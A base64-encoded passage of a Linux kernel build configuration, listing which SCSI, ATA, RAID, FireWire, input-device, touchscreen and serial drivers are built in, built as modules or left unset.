T05GSUdfU1JBTT15CkNPTkZJR19DMlBPUlQ9bQojIENPTkZJR19DMlBPUlRfRFVSQU1BUl8yMTUw IGlzIG5vdCBzZXQKCiMKIyBFRVBST00gc3VwcG9ydAojCiMgQ09ORklHX0VFUFJPTV9BVDI0IGlz IG5vdCBzZXQKIyBDT05GSUdfRUVQUk9NX0FUMjUgaXMgbm90IHNldApDT05GSUdfRUVQUk9NX0xF R0FDWT1tCkNPTkZJR19FRVBST01fTUFYNjg3NT1tCkNPTkZJR19FRVBST01fOTNDWDY9eQojIENP TkZJR19FRVBST01fOTNYWDQ2IGlzIG5vdCBzZXQKIyBDT05GSUdfQ0I3MTBfQ09SRSBpcyBub3Qg c2V0CgojCiMgVGV4YXMgSW5zdHJ1bWVudHMgc2hhcmVkIHRyYW5zcG9ydCBsaW5lIGRpc2NpcGxp bmUKIwojIENPTkZJR19TRU5TT1JTX0xJUzNfSTJDIGlzIG5vdCBzZXQKCiMKIyBBbHRlcmEgRlBH QSBmaXJtd2FyZSBkb3dubG9hZCBtb2R1bGUKIwojIENPTkZJR19BTFRFUkFfU1RBUEwgaXMgbm90 IHNldApDT05GSUdfSU5URUxfTUVJPXkKIyBDT05GSUdfSU5URUxfTUVJX01FIGlzIG5vdCBzZXQK Q09ORklHX0lOVEVMX01FSV9UWEU9bQpDT05GSUdfVk1XQVJFX1ZNQ0k9bQoKIwojIEludGVsIE1J QyBCdXMgRHJpdmVyCiMKIyBDT05GSUdfSU5URUxfTUlDX0JVUyBpcyBub3Qgc2V0CgojCiMgU0NJ RiBCdXMgRHJpdmVyCiMKIyBDT05GSUdfU0NJRl9CVVMgaXMgbm90IHNldAoKIwojIEludGVsIE1J QyBIb3N0IERyaXZlcgojCgojCiMgSW50ZWwgTUlDIENhcmQgRHJpdmVyCiMKCiMKIyBTQ0lGIERy aXZlcgojCgojCiMgSW50ZWwgTUlDIENvcHJvY2Vzc29yIFN0YXRlIE1hbmFnZW1lbnQgKENPU00p IERyaXZlcnMKIwpDT05GSUdfR0VOV1FFPXkKQ09ORklHX0dFTldRRV9QTEFURk9STV9FUlJPUl9S RUNPVkVSWT0wCkNPTkZJR19FQ0hPPXkKIyBDT05GSUdfQ1hMX0JBU0UgaXMgbm90IHNldAojIENP TkZJR19DWExfS0VSTkVMX0FQSSBpcyBub3Qgc2V0CiMgQ09ORklHX0NYTF9FRUggaXMgbm90IHNl dApDT05GSUdfSEFWRV9JREU9eQojIENPTkZJR19JREUgaXMgbm90IHNldAoKIwojIFNDU0kgZGV2 aWNlIHN1cHBvcnQKIwpDT05GSUdfU0NTSV9NT0Q9eQpDT05GSUdfUkFJRF9BVFRSUz15CkNPTkZJ R19TQ1NJPXkKQ09ORklHX1NDU0lfRE1BPXkKQ09ORklHX1NDU0lfTVFfREVGQVVMVD15CgojCiMg U0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUsIENELVJPTSkKIwpDT05GSUdfQkxLX0RFVl9T RD15CkNPTkZJR19DSFJfREVWX1NUPXkKQ09ORklHX0NIUl9ERVZfT1NTVD15CiMgQ09ORklHX0JM S19ERVZfU1IgaXMgbm90IHNldAojIENPTkZJR19DSFJfREVWX1NHIGlzIG5vdCBzZXQKQ09ORklH X0NIUl9ERVZfU0NIPW0KIyBDT05GSUdfU0NTSV9FTkNMT1NVUkUgaXMgbm90IHNldApDT05GSUdf U0NTSV9DT05TVEFOVFM9eQojIENPTkZJR19TQ1NJX0xPR0dJTkcgaXMgbm90IHNldApDT05GSUdf U0NTSV9TQ0FOX0FTWU5DPXkKCiMKIyBTQ1NJIFRyYW5zcG9ydHMKIwpDT05GSUdfU0NTSV9TUElf QVRUUlM9eQpDT05GSUdfU0NTSV9TQVNfQVRUUlM9bQpDT05GSUdfU0NTSV9TQVNfTElCU0FTPW0K IyBDT05GSUdfU0NTSV9TQVNfQVRBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TQVNfSE9TVF9T TVAgaXMgbm90IHNldApDT05GSUdfU0NTSV9TUlBfQVRUUlM9bQojIENPTkZJR19TQ1NJX0xPV0xF VkVMIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfTE9XTEVWRUxfUENNQ0lBPXkKIyBDT05GSUdfUENN Q0lBX0FIQTE1MlggaXMgbm90IHNldAojIENPTkZJR19QQ01DSUFfRkRPTUFJTiBpcyBub3Qgc2V0 CiMgQ09ORklHX1BDTUNJQV9RTE9HSUMgaXMgbm90IHNldApDT05GSUdfUENNQ0lBX1NZTTUzQzUw MD1tCkNPTkZJR19TQ1NJX0RIPXkKQ09ORklHX1NDU0lfREhfUkRBQz1tCkNPTkZJR19TQ1NJX0RI X0hQX1NXPXkKQ09ORklHX1NDU0lfREhfRU1DPXkKQ09ORklHX1NDU0lfREhfQUxVQT1tCkNPTkZJ R19TQ1NJX09TRF9JTklUSUFUT1I9bQojIENPTkZJR19TQ1NJX09TRF9VTEQgaXMgbm90IHNldApD T05GSUdfU0NTSV9PU0RfRFBSSU5UX1NFTlNFPTEKQ09ORklHX1NDU0lfT1NEX0RFQlVHPXkKQ09O RklHX0FUQT15CiMgQ09ORklHX0FUQV9OT05TVEFOREFSRCBpcyBub3Qgc2V0CkNPTkZJR19BVEFf VkVSQk9TRV9FUlJPUj15CiMgQ09ORklHX0FUQV9BQ1BJIGlzIG5vdCBzZXQKQ09ORklHX1NBVEFf UE1QPXkKCiMKIyBDb250cm9sbGVycyB3aXRoIG5vbi1TRkYgbmF0aXZlIGludGVyZmFjZQojCiMg Q09ORklHX1NBVEFfQUhDSSBpcyBub3Qgc2V0CkNPTkZJR19TQVRBX0FIQ0lfUExBVEZPUk09eQpD T05GSUdfQUhDSV9DRVZBPW0KIyBDT05GSUdfQUhDSV9RT1JJUSBpcyBub3Qgc2V0CiMgQ09ORklH X1NBVEFfSU5JQzE2MlggaXMgbm90IHNldApDT05GSUdfU0FUQV9BQ0FSRF9BSENJPXkKQ09ORklH X1NBVEFfU0lMMjQ9eQojIENPTkZJR19BVEFfU0ZGIGlzIG5vdCBzZXQKQ09ORklHX01EPXkKQ09O RklHX0JMS19ERVZfTUQ9bQojIENPTkZJR19NRF9MSU5FQVIgaXMgbm90IHNldApDT05GSUdfTURf UkFJRDA9bQpDT05GSUdfTURfUkFJRDE9bQpDT05GSUdfTURfUkFJRDEwPW0KQ09ORklHX01EX1JB SUQ0NTY9bQojIENPTkZJR19NRF9NVUxUSVBBVEggaXMgbm90IHNldApDT05GSUdfTURfRkFVTFRZ PW0KQ09ORklHX0JDQUNIRT1tCiMgQ09ORklHX0JDQUNIRV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09O RklHX0JDQUNIRV9DTE9TVVJFU19ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfRE0g aXMgbm90IHNldApDT05GSUdfVEFSR0VUX0NPUkU9eQojIENPTkZJR19UQ01fSUJMT0NLIGlzIG5v dCBzZXQKQ09ORklHX1RDTV9GSUxFSU89bQpDT05GSUdfVENNX1BTQ1NJPXkKIyBDT05GSUdfTE9P UEJBQ0tfVEFSR0VUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0JQX1RBUkdFVCBpcyBub3Qgc2V0CiMg Q09ORklHX0ZVU0lPTiBpcyBub3Qgc2V0CgojCiMgSUVFRSAxMzk0IChGaXJlV2lyZSkgc3VwcG9y dAojCkNPTkZJR19GSVJFV0lSRT15CkNPTkZJR19GSVJFV0lSRV9PSENJPW0KIyBDT05GSUdfRklS RVdJUkVfU0JQMiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZJUkVXSVJFX05PU1kgaXMgbm90IHNldAoj IENPTkZJR19NQUNJTlRPU0hfRFJJVkVSUyBpcyBub3Qgc2V0CgojCiMgSW5wdXQgZGV2aWNlIHN1 cHBvcnQKIwpDT05GSUdfSU5QVVQ9eQpDT05GSUdfSU5QVVRfTEVEUz1tCkNPTkZJR19JTlBVVF9G Rl9NRU1MRVNTPXkKQ09ORklHX0lOUFVUX1BPTExERVY9eQojIENPTkZJR19JTlBVVF9TUEFSU0VL TUFQIGlzIG5vdCBzZXQKQ09ORklHX0lOUFVUX01BVFJJWEtNQVA9eQoKIwojIFVzZXJsYW5kIGlu dGVyZmFjZXMKIwojIENPTkZJR19JTlBVVF9NT1VTRURFViBpcyBub3Qgc2V0CiMgQ09ORklHX0lO UFVUX0pPWURFViBpcyBub3Qgc2V0CkNPTkZJR19JTlBVVF9FVkRFVj15CkNPTkZJR19JTlBVVF9F VkJVRz15CgojCiMgSW5wdXQgRGV2aWNlIERyaXZlcnMKIwpDT05GSUdfSU5QVVRfS0VZQk9BUkQ9 eQpDT05GSUdfS0VZQk9BUkRfQURQNTUyMD1tCkNPTkZJR19LRVlCT0FSRF9BRFA1NTg4PXkKIyBD T05GSUdfS0VZQk9BUkRfQURQNTU4OSBpcyBub3Qgc2V0CkNPTkZJR19LRVlCT0FSRF9BVEtCRD1t CkNPTkZJR19LRVlCT0FSRF9RVDEwNzA9bQpDT05GSUdfS0VZQk9BUkRfUVQyMTYwPXkKIyBDT05G SUdfS0VZQk9BUkRfTEtLQkQgaXMgbm90IHNldApDT05GSUdfS0VZQk9BUkRfVENBNjQxNj15CkNP TkZJR19LRVlCT0FSRF9UQ0E4NDE4PXkKQ09ORklHX0tFWUJPQVJEX0xNODMyMz1tCkNPTkZJR19L RVlCT0FSRF9MTTgzMzM9bQpDT05GSUdfS0VZQk9BUkRfTUFYNzM1OT15CkNPTkZJR19LRVlCT0FS RF9NQ1M9eQpDT05GSUdfS0VZQk9BUkRfTVBSMTIxPW0KIyBDT05GSUdfS0VZQk9BUkRfTkVXVE9O IGlzIG5vdCBzZXQKQ09ORklHX0tFWUJPQVJEX09QRU5DT1JFUz15CkNPTkZJR19LRVlCT0FSRF9T QU1TVU5HPXkKIyBDT05GSUdfS0VZQk9BUkRfU1RPV0FXQVkgaXMgbm90IHNldApDT05GSUdfS0VZ Qk9BUkRfU1VOS0JEPW0KIyBDT05GSUdfS0VZQk9BUkRfU1RNUEUgaXMgbm90IHNldApDT05GSUdf S0VZQk9BUkRfT01BUDQ9eQpDT05GSUdfS0VZQk9BUkRfVEMzNTg5WD15CkNPTkZJR19LRVlCT0FS RF9UV0w0MDMwPXkKQ09ORklHX0tFWUJPQVJEX1hUS0JEPW0KQ09ORklHX0tFWUJPQVJEX0NST1Nf RUM9bQpDT05GSUdfS0VZQk9BUkRfQ0FQMTFYWD15CkNPTkZJR19LRVlCT0FSRF9CQ009eQpDT05G SUdfSU5QVVRfTU9VU0U9eQojIENPTkZJR19NT1VTRV9QUzIgaXMgbm90IHNldApDT05GSUdfTU9V U0VfU0VSSUFMPW0KIyBDT05GSUdfTU9VU0VfQVBQTEVUT1VDSCBpcyBub3Qgc2V0CkNPTkZJR19N T1VTRV9CQ001OTc0PW0KQ09ORklHX01PVVNFX0NZQVBBPXkKQ09ORklHX01PVVNFX0VMQU5fSTJD PXkKIyBDT05GSUdfTU9VU0VfRUxBTl9JMkNfSTJDIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0Vf RUxBTl9JMkNfU01CVVMgaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9WU1hYWEFBIGlzIG5vdCBz ZXQKIyBDT05GSUdfTU9VU0VfU1lOQVBUSUNTX0kyQyBpcyBub3Qgc2V0CiMgQ09ORklHX01PVVNF X1NZTkFQVElDU19VU0IgaXMgbm90IHNldApDT05GSUdfSU5QVVRfSk9ZU1RJQ0s9eQojIENPTkZJ R19KT1lTVElDS19BTkFMT0cgaXMgbm90IHNldApDT05GSUdfSk9ZU1RJQ0tfQTNEPW0KQ09ORklH X0pPWVNUSUNLX0FEST15CkNPTkZJR19KT1lTVElDS19DT0JSQT15CkNPTkZJR19KT1lTVElDS19H RjJLPXkKIyBDT05GSUdfSk9ZU1RJQ0tfR1JJUCBpcyBub3Qgc2V0CkNPTkZJR19KT1lTVElDS19H UklQX01QPXkKIyBDT05GSUdfSk9ZU1RJQ0tfR1VJTExFTU9UIGlzIG5vdCBzZXQKQ09ORklHX0pP WVNUSUNLX0lOVEVSQUNUPW0KQ09ORklHX0pPWVNUSUNLX1NJREVXSU5ERVI9eQpDT05GSUdfSk9Z U1RJQ0tfVE1EQz15CkNPTkZJR19KT1lTVElDS19JRk9SQ0U9bQpDT05GSUdfSk9ZU1RJQ0tfSUZP UkNFX1VTQj15CiMgQ09ORklHX0pPWVNUSUNLX0lGT1JDRV8yMzIgaXMgbm90IHNldApDT05GSUdf Sk9ZU1RJQ0tfV0FSUklPUj15CiMgQ09ORklHX0pPWVNUSUNLX01BR0VMTEFOIGlzIG5vdCBzZXQK Q09ORklHX0pPWVNUSUNLX1NQQUNFT1JCPXkKIyBDT05GSUdfSk9ZU1RJQ0tfU1BBQ0VCQUxMIGlz IG5vdCBzZXQKIyBDT05GSUdfSk9ZU1RJQ0tfU1RJTkdFUiBpcyBub3Qgc2V0CkNPTkZJR19KT1lT VElDS19UV0lESk9ZPXkKIyBDT05GSUdfSk9ZU1RJQ0tfWkhFTkhVQSBpcyBub3Qgc2V0CiMgQ09O RklHX0pPWVNUSUNLX0RCOSBpcyBub3Qgc2V0CkNPTkZJR19KT1lTVElDS19HQU1FQ09OPW0KIyBD T05GSUdfSk9ZU1RJQ0tfVFVSQk9HUkFGWCBpcyBub3Qgc2V0CiMgQ09ORklHX0pPWVNUSUNLX0FT NTAxMSBpcyBub3Qgc2V0CkNPTkZJR19KT1lTVElDS19KT1lEVU1QPXkKQ09ORklHX0pPWVNUSUNL X1hQQUQ9eQojIENPTkZJR19KT1lTVElDS19YUEFEX0ZGIGlzIG5vdCBzZXQKIyBDT05GSUdfSk9Z U1RJQ0tfWFBBRF9MRURTIGlzIG5vdCBzZXQKQ09ORklHX0pPWVNUSUNLX1dBTEtFUkEwNzAxPW0K Q09ORklHX0lOUFVUX1RBQkxFVD15CkNPTkZJR19UQUJMRVRfVVNCX0FDRUNBRD1tCiMgQ09ORklH X1RBQkxFVF9VU0JfQUlQVEVLIGlzIG5vdCBzZXQKQ09ORklHX1RBQkxFVF9VU0JfR1RDTz15CiMg Q09ORklHX1RBQkxFVF9VU0JfSEFOV0FORyBpcyBub3Qgc2V0CkNPTkZJR19UQUJMRVRfVVNCX0tC VEFCPXkKQ09ORklHX1RBQkxFVF9TRVJJQUxfV0FDT000PXkKQ09ORklHX0lOUFVUX1RPVUNIU0NS RUVOPXkKQ09ORklHX1RPVUNIU0NSRUVOX1BST1BFUlRJRVM9eQpDT05GSUdfVE9VQ0hTQ1JFRU5f ODhQTTg2MFg9bQpDT05GSUdfVE9VQ0hTQ1JFRU5fQURTNzg0Nj1tCiMgQ09ORklHX1RPVUNIU0NS RUVOX0FENzg3NyBpcyBub3Qgc2V0CkNPTkZJR19UT1VDSFNDUkVFTl9BRDc4Nzk9eQpDT05GSUdf VE9VQ0hTQ1JFRU5fQUQ3ODc5X0kyQz15CkNPTkZJR19UT1VDSFNDUkVFTl9BRDc4NzlfU1BJPW0K Q09ORklHX1RPVUNIU0NSRUVOX0FSMTAyMV9JMkM9bQpDT05GSUdfVE9VQ0hTQ1JFRU5fQVRNRUxf TVhUPXkKQ09ORklHX1RPVUNIU0NSRUVOX0JVMjEwMTM9eQpDT05GSUdfVE9VQ0hTQ1JFRU5fQ1lU VFNQX0NPUkU9eQpDT05GSUdfVE9VQ0hTQ1JFRU5fQ1lUVFNQX0kyQz1tCiMgQ09ORklHX1RPVUNI U0NSRUVOX0NZVFRTUF9TUEkgaXMgbm90IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fQ1lUVFNQNF9D T1JFPXkKQ09ORklHX1RPVUNIU0NSRUVOX0NZVFRTUDRfSTJDPW0KQ09ORklHX1RPVUNIU0NSRUVO X0NZVFRTUDRfU1BJPW0KIyBDT05GSUdfVE9VQ0hTQ1JFRU5fREE5MDM0IGlzIG5vdCBzZXQKQ09O RklHX1RPVUNIU0NSRUVOX0RBOTA1Mj15CkNPTkZJR19UT1VDSFNDUkVFTl9EWU5BUFJPPXkKQ09O RklHX1RPVUNIU0NSRUVOX0hBTVBTSElSRT15CkNPTkZJR19UT1VDSFNDUkVFTl9FRVRJPW0KQ09O RklHX1RPVUNIU0NSRUVOX0VHQUxBWD1tCkNPTkZJR19UT1VDSFNDUkVFTl9GVUpJVFNVPW0KIyBD T05GSUdfVE9VQ0hTQ1JFRU5fR09PRElYIGlzIG5vdCBzZXQKIyBDT05GSUdfVE9VQ0hTQ1JFRU5f SUxJMjEwWCBpcyBub3Qgc2V0CkNPTkZJR19UT1VDSFNDUkVFTl9HVU5aRT15CiMgQ09ORklHX1RP VUNIU0NSRUVOX0VMQU4gaXMgbm90IHNldAojIENPTkZJR19UT1VDSFNDUkVFTl9FTE8gaXMgbm90 IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fV0FDT01fVzgwMDE9bQojIENPTkZJR19UT1VDSFNDUkVF Tl9XQUNPTV9JMkMgaXMgbm90IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fTUFYMTE4MDE9bQojIENP TkZJR19UT1VDSFNDUkVFTl9NQ1M1MDAwIGlzIG5vdCBzZXQKQ09ORklHX1RPVUNIU0NSRUVOX01N UzExND1tCiMgQ09ORklHX1RPVUNIU0NSRUVOX01UT1VDSCBpcyBub3Qgc2V0CiMgQ09ORklHX1RP VUNIU0NSRUVOX0lORVhJTyBpcyBub3Qgc2V0CkNPTkZJR19UT1VDSFNDUkVFTl9NSzcxMj1tCkNP TkZJR19UT1VDSFNDUkVFTl9QRU5NT1VOVD1tCkNPTkZJR19UT1VDSFNDUkVFTl9FRFRfRlQ1WDA2 PXkKQ09ORklHX1RPVUNIU0NSRUVOX1RPVUNIUklHSFQ9bQojIENPTkZJR19UT1VDSFNDUkVFTl9U T1VDSFdJTiBpcyBub3Qgc2V0CkNPTkZJR19UT1VDSFNDUkVFTl9QSVhDSVI9bQpDT05GSUdfVE9V Q0hTQ1JFRU5fV0RUODdYWF9JMkM9bQojIENPTkZJR19UT1VDSFNDUkVFTl9XTTgzMVggaXMgbm90 IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fVVNCX0NPTVBPU0lURT1tCiMgQ09ORklHX1RPVUNIU0NS RUVOX01DMTM3ODMgaXMgbm90IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fVVNCX0VHQUxBWD15CiMg Q09ORklHX1RPVUNIU0NSRUVOX1VTQl9QQU5KSVQgaXMgbm90IHNldAojIENPTkZJR19UT1VDSFND UkVFTl9VU0JfM00gaXMgbm90IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fVVNCX0lUTT15CkNPTkZJ R19UT1VDSFNDUkVFTl9VU0JfRVRVUkJPPXkKQ09ORklHX1RPVUNIU0NSRUVOX1VTQl9HVU5aRT15 CkNPTkZJR19UT1VDSFNDUkVFTl9VU0JfRE1DX1RTQzEwPXkKIyBDT05GSUdfVE9VQ0hTQ1JFRU5f VVNCX0lSVE9VQ0ggaXMgbm90IHNldApDT05GSUdfVE9VQ0hTQ1JFRU5fVVNCX0lERUFMVEVLPXkK Q09ORklHX1RPVUNIU0NSRUVOX1VTQl9HRU5FUkFMX1RPVUNIPXkKQ09ORklHX1RPVUNIU0NSRUVO X1VTQl9HT1RPUD15CiMgQ09ORklHX1RPVUNIU0NSRUVOX1VTQl9KQVNURUMgaXMgbm90IHNldAoj IENPTkZJR19UT1VDSFNDUkVFTl9VU0JfRUxPIGlzIG5vdCBzZXQKQ09ORklHX1RPVUNIU0NSRUVO X1VTQl9FMkk9eQpDT05GSUdfVE9VQ0hTQ1JFRU5fVVNCX1pZVFJPTklDPXkKQ09ORklHX1RPVUNI U0NSRUVOX1VTQl9FVFRfVEM0NVVTQj15CkNPTkZJR19UT1VDSFNDUkVFTl9VU0JfTkVYSU89eQpD T05GSUdfVE9VQ0hTQ1JFRU5fVVNCX0VBU1lUT1VDSD15CkNPTkZJR19UT1VDSFNDUkVFTl9UT1VD SElUMjEzPXkKQ09ORklHX1RPVUNIU0NSRUVOX1RTQ19TRVJJTz1tCkNPTkZJR19UT1VDSFNDUkVF Tl9UU0MyMDA1PXkKQ09ORklHX1RPVUNIU0NSRUVOX1RTQzIwMDc9bQpDT05GSUdfVE9VQ0hTQ1JF RU5fUENBUD15CkNPTkZJR19UT1VDSFNDUkVFTl9TVDEyMzI9eQojIENPTkZJR19UT1VDSFNDUkVF Tl9TVE1QRSBpcyBub3Qgc2V0CkNPTkZJR19UT1VDSFNDUkVFTl9TWDg2NTQ9eQpDT05GSUdfVE9V Q0hTQ1JFRU5fVFBTNjUwN1g9eQpDT05GSUdfVE9VQ0hTQ1JFRU5fUk9ITV9CVTIxMDIzPXkKQ09O RklHX0lOUFVUX01JU0M9eQpDT05GSUdfSU5QVVRfODhQTTg2MFhfT05LRVk9bQpDT05GSUdfSU5Q VVRfODhQTTgwWF9PTktFWT1tCiMgQ09ORklHX0lOUFVUX0FENzE0WCBpcyBub3Qgc2V0CiMgQ09O RklHX0lOUFVUX0JNQTE1MCBpcyBub3Qgc2V0CkNPTkZJR19JTlBVVF9FM1gwX0JVVFRPTj1tCkNP TkZJR19JTlBVVF9QQ1NQS1I9bQpDT05GSUdfSU5QVVRfTUFYODkyNV9PTktFWT15CkNPTkZJR19J TlBVVF9NQzEzNzgzX1BXUkJVVFRPTj1tCkNPTkZJR19JTlBVVF9NTUE4NDUwPW0KQ09ORklHX0lO UFVUX01QVTMwNTA9bQojIENPTkZJR19JTlBVVF9BUEFORUwgaXMgbm90IHNldApDT05GSUdfSU5Q VVRfQVRMQVNfQlROUz15CiMgQ09ORklHX0lOUFVUX0FUSV9SRU1PVEUyIGlzIG5vdCBzZXQKIyBD T05GSUdfSU5QVVRfS0VZU1BBTl9SRU1PVEUgaXMgbm90IHNldApDT05GSUdfSU5QVVRfS1hUSjk9 eQojIENPTkZJR19JTlBVVF9LWFRKOV9QT0xMRURfTU9ERSBpcyBub3Qgc2V0CkNPTkZJR19JTlBV VF9QT1dFUk1BVEU9eQpDT05GSUdfSU5QVVRfWUVBTElOSz15CiMgQ09ORklHX0lOUFVUX0NNMTA5 IGlzIG5vdCBzZXQKQ09ORklHX0lOUFVUX1JFR1VMQVRPUl9IQVBUSUM9eQpDT05GSUdfSU5QVVRf UkVUVV9QV1JCVVRUT049bQojIENPTkZJR19JTlBVVF9UUFM2NTIxOF9QV1JCVVRUT04gaXMgbm90 IHNldApDT05GSUdfSU5QVVRfVFdMNDAzMF9QV1JCVVRUT049eQojIENPTkZJR19JTlBVVF9UV0w0 MDMwX1ZJQlJBIGlzIG5vdCBzZXQKQ09ORklHX0lOUFVUX1VJTlBVVD1tCkNPTkZJR19JTlBVVF9Q Q0Y1MDYzM19QTVU9bQojIENPTkZJR19JTlBVVF9QQ0Y4NTc0IGlzIG5vdCBzZXQKIyBDT05GSUdf SU5QVVRfUFdNX0JFRVBFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX0RBOTA1Ml9PTktFWSBp cyBub3Qgc2V0CkNPTkZJR19JTlBVVF9EQTkwNTVfT05LRVk9eQpDT05GSUdfSU5QVVRfV004MzFY X09OPXkKIyBDT05GSUdfSU5QVVRfUENBUCBpcyBub3Qgc2V0CkNPTkZJR19JTlBVVF9BRFhMMzRY PXkKIyBDT05GSUdfSU5QVVRfQURYTDM0WF9JMkMgaXMgbm90IHNldApDT05GSUdfSU5QVVRfQURY TDM0WF9TUEk9eQojIENPTkZJR19JTlBVVF9JTVNfUENVIGlzIG5vdCBzZXQKQ09ORklHX0lOUFVU X0NNQTMwMDA9eQpDT05GSUdfSU5QVVRfQ01BMzAwMF9JMkM9eQpDT05GSUdfSU5QVVRfWEVOX0tC RERFVl9GUk9OVEVORD15CkNPTkZJR19JTlBVVF9JREVBUEFEX1NMSURFQkFSPW0KIyBDT05GSUdf SU5QVVRfRFJWMjY2NV9IQVBUSUNTIGlzIG5vdCBzZXQKQ09ORklHX0lOUFVUX0RSVjI2NjdfSEFQ VElDUz1tCgojCiMgSGFyZHdhcmUgSS9PIHBvcnRzCiMKQ09ORklHX1NFUklPPXkKQ09ORklHX0FS Q0hfTUlHSFRfSEFWRV9QQ19TRVJJTz15CkNPTkZJR19TRVJJT19JODA0Mj1tCkNPTkZJR19TRVJJ T19TRVJQT1JUPXkKQ09ORklHX1NFUklPX0NUODJDNzEwPW0KQ09ORklHX1NFUklPX1BBUktCRD1t CkNPTkZJR19TRVJJT19QQ0lQUzI9bQpDT05GSUdfU0VSSU9fTElCUFMyPW0KQ09ORklHX1NFUklP X1JBVz15CiMgQ09ORklHX1NFUklPX0FMVEVSQV9QUzIgaXMgbm90IHNldApDT05GSUdfU0VSSU9f UFMyTVVMVD1tCiMgQ09ORklHX1NFUklPX0FSQ19QUzIgaXMgbm90IHNldApDT05GSUdfU0VSSU9f QVBCUFMyPXkKQ09ORklHX0dBTUVQT1JUPXkKIyBDT05GSUdfR0FNRVBPUlRfTlM1NTggaXMgbm90 IHNldAojIENPTkZJR19HQU1FUE9SVF9MNCBpcyBub3Qgc2V0CkNPTkZJR19HQU1FUE9SVF9FTVUx MEsxPXkKQ09ORklHX0dBTUVQT1JUX0ZNODAxPXkKCiMKIyBDaGFyYWN0ZXIgZGV2aWNlcwojCkNP TkZJR19UVFk9eQpDT05GSUdfVlQ9eQojIENPTkZJR19DT05TT0xFX1RSQU5TTEFUSU9OUyBpcyBu b3Qgc2V0CiMgQ09ORklHX1ZUX0NPTlNPTEUgaXMgbm90IHNldApDT05GSUdfSFdfQ09OU09MRT15 CkNPTkZJR19WVF9IV19DT05TT0xFX0JJTkRJTkc9eQojIENPTkZJR19VTklYOThfUFRZUyBpcyBu b3Qgc2V0CiMgQ09ORklHX0xFR0FDWV9QVFlTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMX05P TlNUQU5EQVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfTk9aT01JIGlzIG5vdCBzZXQKIyBDT05GSUdf VFJBQ0VfUk9VVEVSIGlzIG5vdCBzZXQKQ09ORklHX1RSQUNFX1NJTks9eQpDT05GSUdfREVWTUVN PXkKQ09ORklHX0RFVktNRU09eQoKIwojIFNlcmlhbCBkcml2ZXJzCiMKQ09ORklHX1NFUklBTF84 MjUwPW0KIyBDT05GSUdfU0VSSUFMXzgyNTBfREVQUkVDQVRFRF9PUFRJT05TIGlzIG5vdCBzZXQK IyBDT05GSUdfU0VSSUFMXzgyNTBfUE5QIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMXzgyNTBf RE1BIGlzIG5vdCBzZXQKQ09ORklHX1NFUklBTF84MjUwX1BDST1tCiMgQ09ORklHX1NFUklBTF84 MjUwX0NTIGlzIG5vdCBzZXQKQ09ORklHX1NFUklBTF84MjUwX05SX1VBUlRTPTQKQ09ORklHX1NF UklBTF84MjUwX1JVTlRJTUVfVUFSVFM9NAojIENPTkZJR19TRVJJQUxfODI1MF9FWFRFTkRFRCBp cyBub3Qgc2V0CiMgQ09ORklHX1NFUklBTF84MjUwX0RXIGlzIG5vdCBzZXQKQ09ORklHX1NFUklB TF84MjUwX1JUMjg4WD15CiMgQ09ORklHX1NFUklBTF84MjUwX0ZJTlRFSyBpcyBub3Qgc2V0Cgoj CiMgTm9uLTgyNTAgc2VyaWFsIHBvcnQgc3VwcG9ydAojCiMgQ09ORklHX1NFUklBTF9LR0RCX05N SSBpcyBub3Qgc2V0CkNPTkZJR19TRVJJQUxfTUFYMzEwMD1tCkNPTkZJR19TRVJJQUxfTUFYMzEw WD1tCiMgQ09ORklHX1NFUklBTF9VQVJUTElURSBpcyBub3Qgc2V0CkNPTkZJR19TRVJJQUxfQ09S RT15CkNPTkZJR19TRVJJQUxfQ09SRV9DT05TT0xFPXkKQ09ORklHX0NPTlNPTEVfUE9MTD15CkNP TkZJR19TRVJJQUxfSlNNPW0KQ09ORklHX1NFUklBTF9PRl9QTEFURk9STT1tCkNPTkZJR19TRVJJ QUxfU0NDTlhQPW0KQ09ORklHX1NFUklBTF9TQzE2SVM3WFhfQ09SRT15CkNPTkZJR19TRVJJQUxf U0MxNklTN1hYPXkKQ09ORklHX1NFUklBTF9TQzE2SVM3WFhfSTJDPXkKQ09ORklHX1NFUklBTF9T QzE2SVM3WFhfU1BJPXkKQ09ORklHX1NFUklBTF9BTFRFUkFfSlRBR1VBUlQ9eQpDT05GSUdfU0VS SUFMX0FMVEVSQV9KVEFHVUFSVF9DT05TT0xFPXkKIyBDT05GSUdfU0VSSUFMX0FMVEVSQV9KVEFH VUFSVF9DT05TT0xFX0JZUEFTUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklBTF9BTFRFUkFfVUFS VCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklBTF9YSUxJTlhfUFNfVUFSVCBpcyBub3Qgc2V0CkNP TkZJR19TRVJJQUxfQVJDPW0KQ09ORklHX1NFUklBTF9BUkNfTlJfUE9SVFM9MQpDT05GSUdfU0VS SUFMX1JQMj15CkNPTkZJR19TRVJJQUxfUlAyX05SX1VBUlRTPTMyCiMgQ09ORklHX1NFUklBTF9G U0xfTFBVQVJUIGlzIG5vdCBzZXQKQ09ORklHX1NFUklBTF9DT05FWEFOVF9ESUdJQ09MT1I9bQpD T05GSUdfU0VSSUFMX01FTl9aMTM1PXkKQ09ORklHX1RUWV9QUklOVEs9bQojIENPTkZJR19QUklO VEVSIGlzIG5vdCBzZXQKQ09ORklHX1BQREVWPW0KQ09ORklHX0hWQ19EUklWRVI9eQojIENPTkZJ 